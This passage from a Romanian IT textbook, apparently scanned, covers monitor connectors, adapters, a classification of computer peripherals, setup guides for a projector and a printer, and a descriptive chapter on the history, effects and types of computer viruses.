scumpe de monitoare, in general cele destinate graficii pentru care e necesar trafic ridicat de date
(in cazul randarilor, izometriilor, etc) putind suporta in cazul versiunii 1.2 pina la 17.28 Gbit/s.
Se asteapta ca aceasta caracteristica sa fie imbunatatita pentru versiunea 1.3, situatie necesara
datorita aparitiei monitoarelor 4k si formatelor multimedia pentru acestea. Cabluri Display
Port (DP) se pot cumpara fara probleme pina la lungimi de max. 5m.

Line in — intrarea audio in cazul in care se foloseste conexiune VGA sau DVI, iar monitorul e
prevazut cu boxe.

Line out — iesire audio pentru casti sau alte dipozitive audio. Intrarile audio folosesc cabluri cu
mufe jack de 3,5mm.

Hub USB 2.0/3.0 — o intrare (pentru legatura cu unitatea centrala) si 2-4 iesiri USB2.0/3.0
destinate conectarii dispozitivelor USB direct la monitor. In general aceasta facilitate e intilnita
la monitoarele destinate graficii, unde sunt necesare colorimetre, dar nu numai, putind fi folosite
si web-cam-uri, mouse, tastatura, etc. Aici trebuie sa tineti cond de calitatea si lungimea maxima
a calului USB ce face legatura intre PC si monitor. Acesta vine de regula cu monitorul insa in
general daca nu doriti probleme nu depasiti 5 m, iar calitatea aceastuia trebuie sa fie foarte buna
(de preferat cablu din conductor de cupru argintat, cit mai gros posibil)

Porturile Thunder-bolt, Fire-wire, RJ-45. Se gasesc destul de rar pe implementari dedicate,
specializate.

B. Splittere

Folosite pentru distribuirea semnalului video in format analog (iesiri VGA) sau digital (iesiri
HDMI, rar DVI, DP datorita limitarilor impuse de lungimea cablurilor) de la o placa video la 2
sau mai multe monitoare.

In general placile video moderne au macar 2 iesiri digitale, renuntindu-se la mai toate
modelele (exceptind cele budget) la iesirile pe semnal analog (VGA). Desigur pentru a duce
rezolutiile a 2 sau mai multe monitoare o placa video trebuie sa fie si destul de potenta sa o faca.
Dar in general placile video moderne, de generatie recenta pot duce 2 monitoare in format
digital, fara probleme. Pentru gaming la nivel ridicat va fi totusi nevoie de placi video de top,
placi dual procesor sau placi in montaj SLI sau CrossFire. Dar in aplicatii normale e posibil acest
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lucru cu o placa decenta. Din acest motiv aceste device-uri au devenit oarecum depasite,
exceptind situatiile profesionale unde e nevoie de multiplicarea semnalului.

Exista si situatii cu placi de generatie mai veche ce necesita distribuirea semnalului pentru
mai multe monitoare pentru aplicatii tip office sau cel mult multimedia. Atunci se pot folosi
aceste produse de conectica monitor, aceste splittere. In nici un caz nu considerati o problema
rezolvata cu asa ceva daca aveti in vedere aplicatii profesionale, in grafica asistata, izometrii, sau
gaming la nivel ridicat.

C. Adaptoare

Digital — Digital, respectiv DVl la HDMI/DP, DP la HDMI/DVI (Display Port), HDMI la
DP/DVI. Desigur functie de configuratie pe care o aveti in vedere trebuie sa alegeti tipul de mufa
necesar pentru portul/cablul cu care faceti legatura. Astfel pentru un port (soclu) veti avea nevoie
de o mufa male (M) iar pentru un cablu de o mufa female (F). De asemeni trebuie sa tineti cont
ca trecerea semnalului din HDMI/DP la DVI implica pierderea componentei acustice. Probabil
pentru multi dintre voi pare logic, dar nu o data am vazut confuzii referitoare la acest aspect, asa
ca imi fac datoria si il amintesc.

Digital — Analog, respectiv DVI — VGA. Reciproca asa cum spuneam nu e valabila!

D. Convertori

Daca va aduceti aminte de discutia de la adaptori in legatura cu semnalul analog si iesirile
digitale. Desi personal nu recomand folosirea unui convertor, datorita pretului nu chiar redus,
fiind dupa parerea mea mult mai potrivit dpdv al raportului performata/pret sa schimbati placa
video, cu una de generatie mai noua cu iesire digitala. lar daca aveti una asa dar va mai trebuie o
iesire digitala, tot mai bine e, consider eu, sa se aiba in vedere de la inceput achizitionarea unei
placi video potrivite scopului pentru care e cumparata. Deci daca aveti in vedere gaming
multimonitor trebuie sa aveti in vedere de la bun inceput o placa video cu un minim de 2-3 iesiri
digitale care sa stie sa se descurce cu mai multe monitoare. Daca totusi aveti in vedere folosirea
unui astfel de dispozitiv, va trebui sa fiti atenti la ce tip de iesire digitala are pentru a fi
compatibil si cu intrarile monitoarelor folosite.

10.2 Clasificarea echipamentelor periferice

DISPOZITIVE DISPOZITIVE DISPOZITIVE
PERIFERICE PERIFERICE PERIFERICE
DE INTRARE DE IESIRE MIXTE

1. Tastatura; 1. Monitorul; 1. Modemul;

2. Mouse; 2. Imprimanta; 2. Touchscreen-ul,

3. Trackball; 3. Plotter; 3. Placa de sunet;

4. Light pen; 4. Boxe / Difuzor;

5. Graphics tablet ;

6. Scaner;

7. Joystick;

8. Microfon;

9. Camera web;

1

0. GIS (Geographic
Information System).
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Conectarea/deconectarea dispozitivelor de introducere/extragere a datelor.

Tastatura — este principalul echipament periferic de introducere a datelor in calculator. Din
punct de vedere functional aceasta are o activitate care se bazeaza pe interpretarea unor semnale
electrice.

Conectarea tastaturii se poate face in portul PS/2 de culoare mov al placii de baza sau intr-un
port USB dupa cum ii permite tipul constructiv. De asemenea, tastaturile se pot conecta cu cablu
sau fara cablu (printr-un dispozitiv receptor intr-un port USB).

Dupa posibilitatile de utilizare, tastaturile se impart in:

» tastaturi standard;

» tastaturi multimedia.
Tastaturile multimedia au in plus fata de cele standard butoane de o alta forma decat tastele cu
rol in reglarea volumului audio, lansarea rapida a unor aplicatii, comenzi pentru unitatile optice
etc. Tastaturile standard prezinta mai multe modele in functie de spatiul geografic in care este
utilizat sistemul de calcul. Modelele de tastaturi standard au aparut pe criterii de limba materna a
utilizatorilor sau cea mai accesibila dintre limbile straine.
Aceste modele au fost clasificate in grupuri dupa primele 6 taste literare, ca de exemplu:

e tastaturi QWERTY (limba engleza americana, britanica)

e tastaturi QWERTZ (limba germana, limba romana)

e tastaturi AZERTY (limba franceza)
Modelele lingvistice de tastaturi din acelasi grup NU sunt identice.

Mouse-ul —estealcatuitdintr-o carcasa de plastic prevazuta cu 2 sau 3 butoane, 1 bila cauciucata
ce transmite sistemului miscarile efectuate, un cablu de conectare la sistemsi un conector de
interfata. Nu toate comenzile se realizeaza mai usor cu mouse-ul, dar orice comanda ce se poate
realiza cu mouse-ul se poate realiza si cu tastatura.
Mouse-ul se conecteaza fie in portul PS/2 de culoare verde, fie intr-un port USB dupa cum ii
permite tipul constructiv. De asemenea, si mouse-ul se poate conecta cu sau fara fir in acelasi
mod ca si tastatura.
Dupa modul de detectare a miscarii, mouse-ul poate fi:

» cu bila aderenta - miscarea se detecteaza pe principii mecanice;

» optic - miscare pe orice suprafata netransparenta

» cu inductie electromagnetica - fara fir, fara baterii, miscare doar pe propria suprafata

livrata o data cu acesta.

Monitorul —este principalul dispozitiv periferic de iesire ce permite afisarea de o0 maniera
temporara a informatiilor aflate in calculator.
Este alcatuit din douaelementeprincipale:dispozitivul de afisaresi placa video.
Dupatipulconstructiv al monitoarelor, acestea se impart in:

» monitoare cu tub catodic (CTD = Cathodic Tube Display);

» monitoare cu cristalelichide (LCD = Liquid Crystal Display).
Acesta se conecteaza in portul analogic (albastru) sau digital (alb) al placii grafice, de unde se
desprinde o prima clasificare a monitoarelor dupa forma de reprezentare a informatiei primite
spre afisare:

» monitoare cu intrare analogica;

» monitoare cu intrare digitala (DVI = Digital Video Input);

» monitoare cu ambele tipuri de intrari.

Diagonala unui monitor este masurata in inch, iar valorile uzuale si cele mai raspandite sunt 17
si 19. Desigur, exista monitoare cu ecran mai mare si chiar mult mai mare, dar si costisitoare pe
masura. Rezolutia reprezinta numarul de puncte (pixeli) afisate pe o linie orizontala si pe o linie
verticala a monitorului. Rezolutiile standard cele mai utilizate sunt 640x480, 800x600,
1024x768, 1280x960, 1280x1024, 1600x1200.
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Un monitor cu aceeasi diagonala poate suporta mai multe rezolutii. Fiecare pixel va fi vazut
din ce in ce mai mic cu cresterea rezolutiei, imaginea devenind mai clara. Astfel, un monitor este
mai performant pe masura ce rezolutia maxima suportata este mai mare. Timpul de raspuns
reprezinta timpul in care un pixel isi schimba culoarea in culoarea opusa si revine la culoarea
initiala. Valorile sunt cuprinse intre 25 si 2 milisecunde pentru LCD si sunt mult mai mici pentru
CRT. Rata de reimprospatare a imaginii reprezinta numarul maxim de imagini consecutive pe
care un monitor il poate afisa intr-o secunda. Valorile sunt exprimate in Hz, iar valorile uzuale
sunt cuprinse intre 60 si 85 MHz.

Monitoarele CRT indeplinesc mai bine criteriile de performanta decat cele LCD de aceeasi
diagonala. Totusi, monitoarele LCD, desi mai scumpe, sunt preferate din alte puncte de vedere:
spatiu fizic ocupat mai mic, design superior, consum scazut de energie electrica, nu dauneaza
semnificativ vederii utilizatorilor. Unele monitoare LCD au fost dezvoltate ca echipamente de
intrare-iesire sub forma de Touch-Screen. Acestea indeplinesc functia de iesire ca un monitor
prin afisare, iar functia de intrare ca un mouse prin atingerea optiunilor de pe ecran cu un creion
sau cu degetul.

Imprimanta — este un echipament periferic de iesire ce permite editarea pe hirtie a rezultatelor
unei prelucrari intr-o forma vizibila omului.

Imprimantele se pot clasifica in mai multe clase:

» imprimante orientate pe caracter

» imprimante orientate pe rand

» imprimante orientate pe pagina

Suportul pe care se poate afisa poate fi hartie, carton sau folie transparenta, toate de una din
dimensiunile standard (A5, A4, A3 etc.) pe care le accepta imprimanta prin constructie.

Conectarea imprimantei se face uzual in unul din porturile paralel sau USB, dupa cum ii
permite tipul constructiv. De asemenea, 0 imprimanta se poate conecta la retea direct daca
dispune de un controler de retea sau indirect prin intermediul unui calculator care trebuie sa
ramana deschis. Dupa tehnica de imprimare, se cunosc 3 tipuri de imprimante: matriceala, cu jet
de cerneala, laser.

Imprimanta matriceala este un tip de imprimanta cu utilizare pentru imprimari pe suport cu o
dimensiune constanta si 0 dimensiune variabila. Calitatea imprimarii este scazuta, consumabilul
este ieftin si nu se poate imprima decat cu o singura culoare. Desi este 0 imprimanta de tip vechi,
mai este utilizata pentru imprimarea unor documente precum balantele din contabilitate si listele
de inventar.

Imprimanta cu jet de cerneala este un tip de imprimanta ieftin dar cu consumabil considerabil.
Calitatea poate fi multumitoare pentru activitati mici sau pentru utilizari personale.

Se poate imprima si intr-o culoare, de obicei negru, dar si color prin combinarea celor 3 jeturi de
culori fundamentale. Este un tip de imprimanta mai rapida decat cea matriceala dar mult mai
lenta decat una laser.

Imprimanta laser este in general o imprimanta scumpa dar si foarte rapida. Consumabilul
negru pare mai scump decat in cazul imprimantei cu jet de cerneala, dar este echitabil din punct
de vedere al numarului de pagini imprimate. Consumabilele color au un pret foarte ridicat, insa
calitatea imprimarii color laser este foarte apreciata.

Scanner-ul -este un dispozitiv care poate prelua textele sau imaginile tiparite pe hirtie,
transformindu-le intr-un format prelucrabil, cu ajutorul unei aplicatii speciale. Practic scannerul
digitizeazd imaginea, adicd o transform intr-o colectie rectangulara de puncte colorate
reprezentind, cu aproximatie, imaginea copiata.

Un scanner are rolul invers imprimantei, nu prezinta consumabil, iar unele au adaptor de
transparenta, ceea ce le permite preluarea imaginilor de pe filme foto sau diapozitive. Scanner-ul
preia informatia numai sub forma de imagine.
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Programele care se utilizeaza pentru preluare si interpretare pot sa dea informatiei una din
formele urmatoare:

o imagine pixel cu pixel;

o interpretare sub forma de text (caracter cu caracter);

o interpretare numerica (cod de bare).
Calitatea rezultatelor scanarii este dependenta de un criteriu de performanta al scannerelor, si
anume numarul maxim de pixeli atribuiti pentru un inch de imagine scanata. Acest criteriu se
prescurteaza dpi (dots per inch). Un scanner nu se poate utiliza in retea.

Boxele — sau difuzoarele, sunt un echipament care se pot conecta la dispozitivele care pot reda
continut audio,cum ar fi calculatorul personal. Ele pot fi active (nu au nevoie de amplificator)
sau pasiva.
Acestea se conecteaza in controlerul audio sau in placa de sunet extensie a placii de baza si pot

fi de mai multe feluri din care:

o pereche de boxe stereo;

o pereche de casti;

o sistem 2 sateliti + woofer (2.1);

o sistem pentru 6 canale: 5 sateliti + woofer (5.1);
sistem pentru 8 canale: 7 sateliti + woofer (7.1);

Web camera - are aspectul unui aparat de fotografiat clasic. Obiectivul aparatului proiecteaza
imaginea pe un plan CCD care sesizeaza intensitatile luminoasere flectate si convertesc semnalul
receptat in coduri digitizate, pe care le stocheaza in memoria aparatului. Imaginile astfel obtinute
pot fi ulterior descarcate pe hard discul calculatorului, in vederea prelucrarii si imprimarii.

Se conecteaza intr-un port USB, iar performantele depind de autoreglajul de lumina si rezolutia
secventelor Capturate.

Microfonul — este folosit pentru a inregistra diverse sunete pe calculator, conectat la placa de
sunet. Este utilizat in telefonia prin Internet si la introducerea verbald a comenzilor. Conectarea

microfonului se face tot in placa de sunet la intrarea de culoare rosie.

Video proiector - care preiaimaginilece s-arafisape monitor si le proiecteazape un ecran.

Instructiuni de conectare la laptop, pornire, setari, oprire a videoproiectorului. Exemplu.

Instructiuni - proiector, ecran plasma / LCD, laptop, ecran proiectie, camera foto, video etc.
1. Pornirea laptop-ului (recomandare: laptop-ul pornit inainte de conectarea la videoproiector);
2. Conectarea cablurilor:
a) Conectarea videoproiectorului la priza de curent, cablul pentru imagine (VGA - 15
pini) la intrarea colorata in albastru (sau negru)
b) Conectarea cablului USB (optional daca nu se foloseste telecomanda)
c¢) Conectare cablu sunet (laptop - videoproiector)
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3. Videoproiectorul se pune sub tensiune de la Intrerupatorul situat pe partea laterala a video-
proiectorului (Ia anumite modele acesta nu exista, doar butonul Power de pe partea superioara)

4. Se porneste proiectorul de la butonul ,,Power” situat in partea superioard. Apasat mai mult
timp (1 - 2 secunde sau de 2 ori, avand o protectie la atingerile accidentale)

5. Daca imaginea de pe laptop nu apare:

» combinatie taste: Fn apasat continuu + F (4,6,8 ... in functie de laptop - unde este desenat un
monitor extern)

* prin aceastd combinatie succesiva se obtin 3 situatii:

- imagine doar pe videoproiector (cand se prezinta un film de exemplu iar placa video este mai
putin performanta si nu poate Tmparti semnalul, aceasta este solutia);

- imagine si pe videoproiector (plasma) si pe ecranul laptop-ului (inchiriere plasma);

- revenirea la situatia initiala cu imagine doar pe laptop.

6. Rezolutia nativa a videoproiectorului este de 1024/768 px (up to 1280/1024, prin interpolare),
dar este cel mai bine sa fie setat monitorul laptop-ului la aceasta rezolutie - 1024/768.

7. Apasati pe butonul Auto de pe capacul videoproiectorului (in orice situatie e recomandat, iar
daca imaginea ,,tremurd” sau nu apare o parte din imaginea afisata pe monitor, cu atat mai mult).
8. Utilizati zoom-ul optic al proiectorului prin miscarea manetei din dreptul lentilei, sau departati
videoproiectorul de ecran pentru a obtine marinea doritd a imaginii.

9. Stabiliti claritatea, fascicolul este recomandat s cada pe cat posibil perpendicular pe ecran.
Reglarea trapezului format pe ecran - din butoanele left, right de pe capacul videoproiectorului.
10. La inchidere - Nu inchideti proiectorul de la butonul de pe partea laterala: apasati de 2 ori
butonul power de pe capac. Cat timp ledul portocaliu clipeste se lasa proiectorul in priza pentru
ca ventilatorul sa raceasca lampa proiectorului.

11. Ledul nu mai clipeste: Se demonteaza cablurile. Nu uitati telecomada la locul prezentarii.

In cazul (foarte rar, de obicei la pornirea videoproiectorului) in care apare pe ecran mesajul — ,,s-
au implinit un nr. de ... ore, curatatii filtrele de praf”, apasati pe butonul de meniu, apoi inchideti
meniul — Meniu apoi Exit. Nu inchideti proiectorul de pe butonul lateral. Filtrele au fost curtate,
este doar un mesaj de atentionare ce apare la doar la 500 ore de functionare.

Imprimarea nu este posibila. (conexiune USB)

PASUL 1: Verificati conexiunea dintre imprimanta si calculator
1. Asigurati-vd ca imprimanta este pornita.
2. Asigurati-va ca cele doua capete ale cablului USB sunt introduse corect in calculator si
respectiv in imprimanta.
- Incercati si deconectati si si reconectati cablul USB la ambele capete.
Deconectati imprimanta si calculatorul si reconectati-le.
- Daca este disponibil, incercati sa folositi un alt port USB.
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- Daca utilizati un hub USB, scoateti-1 si conectati imprimanta direct la calculator.
In functie de modelul hubului USB, este posibil ca imprimanta si nu fie detectata
corect.
- Utilizati un cablu USB a carui lungime nu depaseste 6 picioare (2 metri).
- Daca este disponibil, incercati sa folositi un alt cablu USB.
- Daca utilizati un model de retea, asigurati-va ca nu ati conectat accidental cablul
USB la portul LAN 1in loc sa 1l conectati la portul USB.
3. Daca utilizati programul P-touch Editor Lite (PT-2430, PT-P700, PT-P750W, QL-700),
asigurati-va ca modul Editor Lite este dezactivat.
- Pentru utilizatorii PT-2430
Asigurati-va ca ati mutat butonul de selectare al modului, aflat in spatele aparatului de
etichetat P-touch, in pozitia ,,E”.
- Pentru utilizatorii PT-P700 / PT-P750W / QL-700
Daca indicatorul luminos Editor Lite este aprins, apasati si tineti apasat butonul Editor
Lite pana cand indicatorul Editor Lite se stinge.

PASUL 2: Verificati setdirile driverului imprimantei
Deschideti directorul imprimantelor si verificati urmatoarele:
1. Asigurati-va cd imprimanta este inregistrata pe calculatorul dumneavoastra.
Daca nu este inregistratd, instalati driverul imprimantei.
2. Asigurati-va ca starea imprimantei este Pregatit.
Modificati modul de vizualizare selectand Cadre si asigurati-va cad starea imprimantei
este Pregatit. Daca starea nu se modifica dupa pornirea imprimantei, reinstalati driverul
imprimantei urmand instructiunile de la PASUL4: Reinstalati driverul imprimantei.
3. Asigurati-va ca nu sunt documente care asteapta sa fie imprimate.
Daca trimiteti de la calculator o comanda de imprimare, dar aceasta este intrerupta sau
daca respectiva comanda de imprimare nu s-a finalizat dintr-un anumit motiv, comanda
poate rimane blocati in lista de asteptare a operatiei de imprimare de pe calculator. In
acest caz, imprimanta nu va raspunde la nicio comanda de imprimare.
Stergeti toate comenzile de imprimare si reincercati sa imprimati.

PASUL 3: Reporniti imprimanta si calculatorul

- Este posibil ca sistemul de operare al calculatorului sd@ devina instabil si sa trebuiasca sa
fie repornit. Incercati sa reporniti calculatorul.

- Cand reporniti calculatorul, inchideti toate aplicatiile care ruleaza pe calculatorul
dumneavoastra, salvati toate datele si apoi oprifi imprimanta. Dupd ce ati repornit
calculatorul, reporniti imprimanta.

- Dacd dupa parcurgerea pasilor de mai sus, problema persistd, va rugam sa incercati
urmatoarea solutie.

PASUL 4: Reinstalati driverul imprimantei
- Este posibil ca driverul imprimantei sa nu fie instalat corect.
- Dezinstalati driverul imprimantei folosind instrumentul de curatare al driverului
disponibil la adresa de mai jos si apoi reinstalati driverul imprimantei.
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11. Gestiunea programelor de tip antivirus.

Obiective:

1. Insusirea masurilor de protectie a datelor de programe de tip virus;

2. Studierea programelor de tip virus;

3. Insusirea procedurilor de actualizare a programelor de securitate;

4. Stabilirea procedeelor de verificare a discurilor magnetice impotriva programelor de tip
virus;

11.1 Virusi. Istorie. Efecte. Tipuri de virus.

Virusul informatic este in general un program care se instaleaza singur, fard voia
utilizatorului, si poate provoca pagube atat in sistemul de operare cat si in elementele hardware
(fizice) ale computerului.

Istorie

- 1949 Sunt puse pentru prima oara bazele teoriilor legate de programele care se autoreproduc
cu mult mai mult .

- 1981 Virusii Apple 1, 2, si 3 sunt printre primii virusi "in the wild". Descoperiti in sistemul
de operare Apple Il, virusii se raspandesc in Texas A&M prin intermediul jocurilor piratate si
altele.

- 1983 In teza sa de doctorat, Fred Cohen defineste pentru prima oara formal un virus de
calculator ca fiind "un program ce poate afecta alte programe de calculator, modificandu-le
intr-un mod care presupune abordarea unor copii evoluate ale lor."

- 1986 Doi programatori, Basit si Amjad, inlocuiesc codul executabil din sectorul boot al unui
floppy-disk cu propriul lor cod, care infecta fiecare floppy de 360 Kb accesat pe orice drive.
Floppy-urile infectate aveau "© Brain" ca eticheta de disc (volume label).

- 1987 Scapa din lesa unul dintre cei mai cunoscuti virusi: Jerusalem. Activat in fiecare vineri
13, virusul afecteaza fisierele .exe si .com si sterge toate programele rulate in cursul acelei
zile.

- 1990 Symantec lanseaza pe piata Norton AntiVirus, unul dintre primele programe antivirus
dezvoltate de catre una dintre marile companii.

- 1991 Tequila este primul virus polimorf cu raspandire pe scara larga gasit "in the wild".
Virusii polimorfi fac ca detectarea lor de catre scanerele de virusi sa fie dificila, prin
schimbarea modul de actiune cu fiecare noua infectie.

- 1992 Exista 1300 de virusi, cu aproape 420% mai multi decat in decembrie 1990.
Previziunile sumbre ale virusului Michelangelo ameninta colapsul a circa 5 milioane de
calculatoare pe data de 6 martie. Insa doar 5,000-10,000 de calculatoare se intampla sa "dea
coltul™.

- 1994 Farsa de proportii din partea email-ului hoax (alarma falsa) Good Times. Farsa se
bazeaza pe amenintarea unui virus sofisticat care e capabil sa stearga un intreg hard prin
simpla deschidere a emailului al carui subiect este "Good Times". Desi se stie despre ce e
vorba, hoaxul revine la un interval de 6-12 luni.

- 1995 Word Concept, virus de Microsoft Word, devine unul dintre cei mai raspanditi virusi
din anii '90.

- 1998 StrangeBrew, actualmente inofensiv si totusi raportat, este primul virus care infecteaza
fisierele Java. Virusul modifica fisierele CLASS adaugand la mijlocul acestora o copie a sa Si
incepand executarea programului din interiorul sectiunii virusate. Virusul Cernobal se
raspandeste rapid prin intermediul fisierelor ".exe". Dupa cum 0 sugereaza Si notorietatea
numelui sau, virusul este nemilos, atacand nu numai fisierele dar si un anumit cip din
interiorul computerelor infectate.
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- 1999 Virusul "Melissa", W97M/Melissa, executa un macro dintr-un document atasat e-mail-
ului, care transmite mai departe documentul la 50 de adrese existente in Outlook address
book al utilizatorului afectat. Virusul infecteaza si documente de tip Word pe care le trimite
ca atasamente. Melissa se imprastie mult mai rapid decét alti virusi anteriori, infectdnd cam 1
milion de calculatoare.

"Bubble Boy" este primul virus care nu mai depinde de deschiderea atasamentului pentru a se
executa. De indata ce utilizatorul deschide programul de e-mail, Bubble Boy se si activeaza.

- 2000 "Love Bug", cunoscut si sub numele de ILOVEYOU, se raspandeste prin Outlook,
asemandtor modului de raspandire al Melissei. Acest virus e primit ca un atasament de tip
.VBS, sterge fisiere, inclusiv de tip MP3, MP2 si JPG, si trimite username-uri si parole gésite
in sistem autorului virusului. "W97M.Resume.A", o noud variantd a Melissei, este "in the
wild". Virusul se comportd cam ca Melissa, folosindu-se de un macro Word pentru a infecta
Outlook-ul si pentru a se raspandi. Virusul "Stages", deghizat intr-un e-mail-gluma despre
etapele vietii, se raspandeste prin Internet. rareori intalnit la virusii anteriori, Stages este
ascuns intr-un atasament cu extensie falsa de tip .txt, momind utilizatorii sa-1 deschida. Pana
la aparitia sa, fisierele de tip text erau considerate fisiere sigure.

Efectele virusilor

Un virus este un program de calculator malitios care se raspandeste in jur infectand fisiere,
instaland componente asociate lui sau eliminand fisiere media specifice. Acest program, de
obicei, poartd o sarcind utild, care este selectatd de catre autorul sau in functie de intentiile lui /
ei. Un virus normal va infecta sistemul, va corupe sau sterge fisierele si dosarele, descarca alti
paraziti periculosi in sistem, va colecta informatii despre activitatea de pe Internet a utilizatorului
sau va dezvalui informatii sensitive. Daca sistemul este infectat de catre un virus extrem de
periculos, poate sa si distrugd sau sa cripteze toate datele ce sunt stocate pe hard disk. Cei mai
periculosi virusi cautd sd dauneze intregului sistem de PC sau doar unor anumite parti ale
acestuia.

Cateva dintre efectele pe care le genereaza virusii software:

% distrugerea unor fisiere;

modificarea dimensiunii fisierelor;

stergerea totald a informatilor de pe disc, inclusiv formatarea acestuia;

distrugerea tabelei de alocare a fisierelor, care duce la imposibilitatea citirii informatiei de pe
disc;

diverse efecte grafice/sonore, inofensive sau si ddundtoare;

incetinirea vitezei de lucru (utild) a calculatorului, pana la blocarea acestuia;

inmultirea fisierelor pand la umplerea memoriei;

ascunderea fisierelor si blocarea anumitor spatii.
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Atunci cand un program malitios se va infiltra in sistem, va inifia urmatoarele activitati:

*¢ Va infecta, suprascric sau sterge fisierele. Poate dauna documentelor personale,
componentelor esentiale din sistem si aplicatiilor utile. De asemenea, unii virusi pot distruge
intregul sistem prin stergerea tuturor fisierelor si dosarelor critice din acesta.

¢ Poate introduce un cod malitios in registrul master boot (MBR) a unui hard disk pentru a rula
o sarcind utild distructiva Tnainte ca sistemul de operare sa fie incarcat.

¢ Poate adauga componente daunatoare programelor reputabile sau le poate modifica setarile
astfel incat s infecteze documentele deschise sau create cu aceste programe.

¢ Poate dauna sever unui calculator modificand setdrile esentiale de hardware, stergand
memoria CMOS sau coruptand BIOS-ul. Acest lucru poate conduce la pierderi critice de date
si functionarea eronata a sistemului de calculator.

%+ Poate crea mii de fisiere si dosare la intamplare care pot consuma foarte mult din resursele
calculatorului.
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¢ Poate afisa numeroase mesaje false, sa modifice diverse setdri de sistem, sd cauzeze
redirectionari si sd efectueze alte actiuni enervante pentru a complica sarcinile normale ale
utilizatorului.

++ Poate infecta sistemul cu troiani, backdoors, keyloggeri si alti paraziti periculosi.

¢ Foloseste un sistem compromis pentru a raspandi alti malware.

*¢ Furda sau cripteaza date personale sensitive, documente valoroase, parole, nume de
autentificare, detalii despre identitate sau contactele utilizatorului.

¢ Evita eliminarea prin auto modificare, cripteaza fisiercle infectate, intercepteaza cereri ale

software-ului antivirus si aduce modificari comportamentului normal de sistem.

¢ Cauzeaza incetiniri, scade securitatea sistemului si cauzeaza instabilitatea software-ului.

Raspindirea virusilor

% Virusii pot infecta un calculator fara cunostinta sau consimtamantul utilizatorului. Exista sase
moduri pricipale prin care acesti paraziti nesolicitati pot intra 1n sistem:

% Virusii infecteaza anumite documente, executabili si alte fisiere de pe surse de incredere.
Imediat dupa ce o victima deschide un astfel de document sau il executd, un virus se va
instala silentios 1n sistem.

¢ Exista foarte multi virusi ditribuiti prin atasamentele email-urilor. Acestia pot aparea si in
mesaje instante sau pot veni in scrisori. Acesti virusi au nume comune §i, prin urmare, pot
ingela un utilizator sa le deschida sau sa le execute. Imediat dupa ce utilizatorul deschide un
astfel de mesaj sau fisier, virusul va infecta calculatorul silentios.

% Unii virusi sunt distribuiti prin drive-uri externe ce sunt executate automat dupa ce
utilizatorul introduce diskul.

% Software-urile piratate si jocurile video contrafacute contin de obicei diversi virusi. Imediat
dupa ce utilizatorul incepe instalarea unui astfel de joc sau program, parazitul va infecta
silentios sistemul.

¢ Virusii, de asemenea, pot intra in calculator cu ajutorul altor peste, precum troiani, viermi sau
backdoors. Intrd in sistem fara aprobarea si consimtdmantul utilizatorului.

Tipuri de virus

Virusii se clasifica in:

¢ Virusi hardware: sunt cei care afecteaza discul dur, discul flexibil si memoria.
7

¢ Virusi software: afecteaza fisierele si programele aflate in memorie sau pe disc, inclusiv
sistemul de operare sau componente ale acestuia.

De obicei, virusii sunt impartifi in trei categorii principale:

¢ Paraziti ce sunt proiectati pentru a distribui al{i virusi sau pentru a corupe fisierele legitime
din sistem.Exemple:
- Troiani - Viermi
- Nukeri - Paraziti AOL

¢ Amenintarile ce sunt capabile de a initia o activitate periculoasa in sistem. Acestea pot cauza
alerte ingelatoare, scanari false ale sistemului, mesaje de avertizare de blocare a intregului
sistem de PC si alte actiuni. Exemple:

- Rogue anti-spyware - Adware
- Ransomware - Browser hijackeri
¢ Alti virusi. Aceasta categorie include:
- Snifferi - Unelte de Administrare de la
- Unelte ale sistemului Distanta

- Unelte de Administrare a Retelei
Unii virusi nu apartin acestor categorii, deoarece combind mai multe caracteristici si functii.
Astfel de amenintari, uneori pot fi gasite sub denumirea de virusi hibrizi, pot fi utilizati pentru
afisarea de avertismente inseldtoare, sa cripteze fisierele utilizatorului, sa distribuie alti virusi
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plus alte activitati aditionale, ce sunt considerate malitioase. Este extrem de dificil sa descoperiti
si sa eliminati acesti parazifi din sistem, deoarece acestia de obicei constau din componente care
se reinstaleaza automat dupa eliminare. De asemenea, multi virusi prezintd caracteristici extra,
care le permit sa se ascunda de software-ul antivirus. Astfel de amenintari pot monitoriza
activitatea software-ului antivirus si sa i intercepteze cererile. Atunci cand programul antivirus
incearca sa verifice un fisier infectat, virusul va pasa imediat originalul, va curata varianta acelui
fisier si va preveni detectarea acestuia in acest mod.

Exemple de virusi.

X/
L X4

X/
L X4

Trojan.LockScreen, cunoscut si ca Trojan LockScreen, este un virus proiectat pentru a
raspandi virusii seriosi catalogati ca si ransomware. Odata ce acest troian va infecta sistemul,
va lasa fisiere executabile predeterminate precum si alte componente necesare pentru
functionalitatea normala a virusului asociat. In principal, Trojan.LockScreen se rispandeste
cu ajutorul mesajelor de e-mail ingelatoare si a atasamentelor infectate. Totusi, puteti deveni
infectat cu aceasta infectie cibernetica dupa ce ati apasat pe o reclama de tip pop up dubioasa
ce va oferea sd va actualizati programele sau sa instalati software-urile ,,cerute”. Acest virus
care se raspandeste cu ajutorul lui Trojan.LockScreen poate conduce victima la probleme
serioase deoarece este capabil sa cripteze toate fisierele din calculator.

Cryptowall este un virus care apartine catagoriei ransomware. Acest parazit este capabil sa
modifice toate setérile esentiale din sistem si sa blocheze tot PC-ul. De asemenea, poate
cauza alerte false si sa cripteze toate fisierele dumneavoastra. Pentru a-i oferi victimei
abilitatea de a-si decripta fisierele, ii va cere o recompensa. In mod contrar, va distruge cheia
de decriptare si victima isi va pierde fisierele. Acesti virusi pot fi eliminati din sistem cu
ajutorul unui anti-spyware de incredere, insa aceasta activitate nu ajutd la deblocarea
fisierelor blocate.

Mystartsearch este considerat un browser hijacker si program cu potential nedorit. Se poate
infiltra n calculator fara stirea oamenilor deoarece se raspandeste ca si component optional
al altor programe. Acest virus nu este unul agresiv. Cu toate acestea, poate fi extrem de
enervant atunci cand este in calculator. Poate cauza un adevarat dezastru in masina
dumneavoastrd deoarece va poate afisa rezultate modificate ale cdutarilor care pot contine
continut comercial, precum reclame si banere ce conduc oamenii catre website-uri
predeterminate. De asemenea, poate colecta informatii identificabile non-personale si sa
transfere aceste date unor terte. Daca doriti sa aveti parte doar de rezultate de incredere in
urma cautdrilor, ar trebui sa stati departe de MyStartSearch.com.

Koobface este un virus foarte periculos utilizat pentru a fura informatii personale. S-a
raspandit cu ajutorul retelelor de socializare, precum Facebook, Twitter si Yahoo Messenger.
Imediat dupa ce se infiltreaza in sistem, Koobface preia controlul asupra cookie-urilor si le
utilizeaza pentru a urmari victima. De asemenea, poate fi utilizat pentru a infecta calculatorul
cu un alt malware. Utilizatorul nu poate elimina manual aceasta amenintare, si nu poate
